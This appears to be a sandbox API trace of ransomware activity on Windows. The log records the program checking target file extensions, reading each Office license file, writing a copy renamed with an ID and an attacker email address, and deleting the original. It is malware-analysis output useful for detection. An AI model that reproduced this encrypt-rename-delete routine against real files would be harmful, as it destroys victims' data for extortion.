	[0199.925] lstrlenW (lpString=".zip") returned 4
	[0199.925] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0199.925] lstrlenW (lpString=".rar") returned 4
	[0199.925] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0199.925] lstrlenW (lpString=".bz2") returned 4
	[0199.925] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0199.925] lstrlenW (lpString=".7z") returned 3
	[0199.925] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0199.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.925] lstrlenW (lpString=".dbf") returned 4
	[0199.926] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0199.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.926] lstrlenW (lpString=".1cd") returned 4
	[0199.926] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0199.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ppd.xrm-ms") returned 83
	[0199.926] lstrlenW (lpString=".jpg") returned 4
	[0199.926] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0199.926] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0199.926] lstrlenW (lpString="O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 36
	[0199.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.927] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11631) returned 1
	[0199.927] CloseHandle (hObject=0x580) returned 1
	[0199.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 0x220
	[0199.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0199.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0199.927] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.927] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0199.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.088] GetLastError () returned 0x0
	[0200.088] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d6f, lpOverlapped=0x0) returned 1
	[0200.090] WriteFile (in: hFile=0x514, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0200.091] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.091] WriteFile (in: hFile=0x514, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0200.091] SetEndOfFile (hFile=0x514) returned 1
	[0200.091] CloseHandle (hObject=0x514) returned 1
	[0200.091] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.091] SetEndOfFile (hFile=0x580) returned 1
	[0200.094] CloseHandle (hObject=0x580) returned 1
	[0200.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subtrial-ul-oob.xrm-ms")) returned 1
	[0200.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.095] lstrlenW (lpString=".doc") returned 4
	[0200.095] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.095] lstrlenW (lpString=".docx") returned 5
	[0200.095] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.095] lstrlenW (lpString=".pdf") returned 4
	[0200.095] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.095] lstrlenW (lpString=".xls") returned 4
	[0200.095] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.095] lstrlenW (lpString=".xlsx") returned 5
	[0200.096] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.096] lstrlenW (lpString=".ppt") returned 4
	[0200.096] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.096] lstrlenW (lpString=".zip") returned 4
	[0200.096] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.096] lstrlenW (lpString=".rar") returned 4
	[0200.096] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.096] lstrlenW (lpString=".bz2") returned 4
	[0200.096] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.096] lstrlenW (lpString=".7z") returned 3
	[0200.096] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.096] lstrlenW (lpString=".dbf") returned 4
	[0200.096] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.096] lstrlenW (lpString=".1cd") returned 4
	[0200.096] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.096] lstrlenW (lpString=".jpg") returned 4
	[0200.096] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.096] lstrlenW (lpString=".doc") returned 4
	[0200.096] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.096] lstrlenW (lpString=".docx") returned 5
	[0200.096] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.096] lstrlenW (lpString=".pdf") returned 4
	[0200.097] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.097] lstrlenW (lpString=".xls") returned 4
	[0200.097] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.097] lstrlenW (lpString=".xlsx") returned 5
	[0200.097] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.097] lstrlenW (lpString=".ppt") returned 4
	[0200.097] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.097] lstrlenW (lpString=".zip") returned 4
	[0200.097] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.097] lstrlenW (lpString=".rar") returned 4
	[0200.097] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.097] lstrlenW (lpString=".bz2") returned 4
	[0200.097] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.097] lstrlenW (lpString=".7z") returned 3
	[0200.097] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.097] lstrlenW (lpString=".dbf") returned 4
	[0200.097] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.097] lstrlenW (lpString=".1cd") returned 4
	[0200.097] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_SubTrial-ul-oob.xrm-ms") returned 86
	[0200.097] lstrlenW (lpString=".jpg") returned 4
	[0200.097] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.097] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.097] lstrlenW (lpString="O365HomePremR_Subscription2-pl.xrm-ms") returned 37
	[0200.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0200.098] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11199) returned 1
	[0200.098] CloseHandle (hObject=0x580) returned 1
	[0200.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 0x220
	[0200.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0200.099] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.099] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.100] GetLastError () returned 0x0
	[0200.100] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2bbf, lpOverlapped=0x0) returned 1
	[0200.101] WriteFile (in: hFile=0x514, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0200.103] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.103] WriteFile (in: hFile=0x514, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11e, lpOverlapped=0x0) returned 1
	[0200.103] SetEndOfFile (hFile=0x514) returned 1
	[0200.103] CloseHandle (hObject=0x514) returned 1
	[0200.103] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.103] SetEndOfFile (hFile=0x580) returned 1
	[0200.106] CloseHandle (hObject=0x580) returned 1
	[0200.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 1
	[0200.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.107] lstrlenW (lpString=".doc") returned 4
	[0200.107] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.107] lstrlenW (lpString=".docx") returned 5
	[0200.107] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.107] lstrlenW (lpString=".pdf") returned 4
	[0200.107] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.107] lstrlenW (lpString=".xls") returned 4
	[0200.107] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.107] lstrlenW (lpString=".xlsx") returned 5
	[0200.107] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.107] lstrlenW (lpString=".ppt") returned 4
	[0200.107] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.107] lstrlenW (lpString=".zip") returned 4
	[0200.107] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.107] lstrlenW (lpString=".rar") returned 4
	[0200.108] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.108] lstrlenW (lpString=".bz2") returned 4
	[0200.108] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.108] lstrlenW (lpString=".7z") returned 3
	[0200.108] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.108] lstrlenW (lpString=".dbf") returned 4
	[0200.108] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.108] lstrlenW (lpString=".1cd") returned 4
	[0200.108] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.108] lstrlenW (lpString=".jpg") returned 4
	[0200.108] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.108] lstrlenW (lpString=".doc") returned 4
	[0200.108] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.108] lstrlenW (lpString=".docx") returned 5
	[0200.108] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.108] lstrlenW (lpString=".pdf") returned 4
	[0200.108] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.108] lstrlenW (lpString=".xls") returned 4
	[0200.108] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.108] lstrlenW (lpString=".xlsx") returned 5
	[0200.108] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.108] lstrlenW (lpString=".ppt") returned 4
	[0200.108] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.109] lstrlenW (lpString=".zip") returned 4
	[0200.109] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.109] lstrlenW (lpString=".rar") returned 4
	[0200.109] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.109] lstrlenW (lpString=".bz2") returned 4
	[0200.109] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.109] lstrlenW (lpString=".7z") returned 3
	[0200.109] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.109] lstrlenW (lpString=".dbf") returned 4
	[0200.109] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.109] lstrlenW (lpString=".1cd") returned 4
	[0200.109] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87
	[0200.109] lstrlenW (lpString=".jpg") returned 4
	[0200.109] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.109] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.109] lstrlenW (lpString="O365HomePremR_Subscription2-ppd.xrm-ms") returned 38
	[0200.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0200.110] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=26541) returned 1
	[0200.110] CloseHandle (hObject=0x580) returned 1
	[0200.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 0x220
	[0200.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0200.111] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.111] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0200.111] GetLastError () returned 0x0
	[0200.111] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x67ad, lpOverlapped=0x0) returned 1
	[0200.114] WriteFile (in: hFile=0x514, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x67b0, lpOverlapped=0x0) returned 1
	[0200.116] ReadFile (in: hFile=0x580, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.116] WriteFile (in: hFile=0x514, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x120, lpOverlapped=0x0) returned 1
	[0200.116] SetEndOfFile (hFile=0x514) returned 1
	[0200.116] CloseHandle (hObject=0x514) returned 1
	[0200.116] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.116] SetEndOfFile (hFile=0x580) returned 1
	[0200.120] CloseHandle (hObject=0x580) returned 1
	[0200.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-ppd.xrm-ms")) returned 1
	[0200.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.121] lstrlenW (lpString=".doc") returned 4
	[0200.121] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.121] lstrlenW (lpString=".docx") returned 5
	[0200.121] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.121] lstrlenW (lpString=".pdf") returned 4
	[0200.121] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.122] lstrlenW (lpString=".xls") returned 4
	[0200.122] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.122] lstrlenW (lpString=".xlsx") returned 5
	[0200.122] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.122] lstrlenW (lpString=".ppt") returned 4
	[0200.122] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.122] lstrlenW (lpString=".zip") returned 4
	[0200.122] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.122] lstrlenW (lpString=".rar") returned 4
	[0200.122] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.122] lstrlenW (lpString=".bz2") returned 4
	[0200.122] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.122] lstrlenW (lpString=".7z") returned 3
	[0200.122] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.122] lstrlenW (lpString=".dbf") returned 4
	[0200.122] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.122] lstrlenW (lpString=".1cd") returned 4
	[0200.122] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-ppd.xrm-ms") returned 88
	[0200.122] lstrlenW (lpString=".jpg") returned 4
	[0200.122] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
